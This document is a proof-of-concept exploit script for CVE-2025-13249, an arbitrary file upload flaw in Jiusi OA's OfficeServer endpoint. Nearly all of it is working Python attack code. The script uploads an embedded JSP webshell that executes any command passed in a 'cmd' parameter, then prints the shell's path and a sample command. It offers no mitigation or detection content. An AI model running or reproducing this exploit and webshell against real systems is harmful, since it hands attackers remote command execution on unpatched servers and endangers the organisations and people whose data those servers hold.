Jiusi OA OfficeServer 任意文件上传漏洞 (CVE-2025-13249)

import requests import sys # CVE-2025-13249 PoC - Jiusi OA Arbitrary File Upload # Target: Jiusi OA <= 20251102 # Component: OfficeServer Interface def exploit(target_url, filename='shell.jsp'): """ Exploit arbitrary file upload vulnerability in Jiusi OA OfficeServer Args: target_url: Target Jiusi OA base URL filename: Malicious filename to upload """ # Malicious JSP webshell content webshell_content = '<%@page import="java.io.*"%><%if(request.getParameter("cmd")!=null){Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));OutputStream os=p.getOutputStream();InputStream in=p.getInputStream();DataInputStream dis=new DataInputStream(in);String disr=dis.readLine();while(disr!=null){out.println(disr);disr=dis.readLine();}}%>' # Target endpoint upload_url = f"{target_url.rstrip('/')}/OfficeServer" # Prepare multipart form data files = { 'FileData': (filename, webshell_content, 'application/octet-stream'), 'isAjaxDownloadTemplate': (None, 'false') } # Optional: Add authentication if required headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: print(f"[*] Sending exploit request to {upload_url}") response = requests.post(upload_url, files=files, headers=headers, timeout=30) if response.status_code == 200: print(f"[+] File uploaded successfully: {filename}") print(f"[+] Access the webshell at: {target_url}/upload/{filename}") print(f"[+] Execute commands: ?cmd=whoami") else: print(f"[-] Upload failed with status code: {response.status_code}") print(f"[-] Response: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-13249.py <target_url>") print("Example: python cve-2025-13249.py http://vulnerable-server.com") sys.exit(1) exploit(sys.argv[1])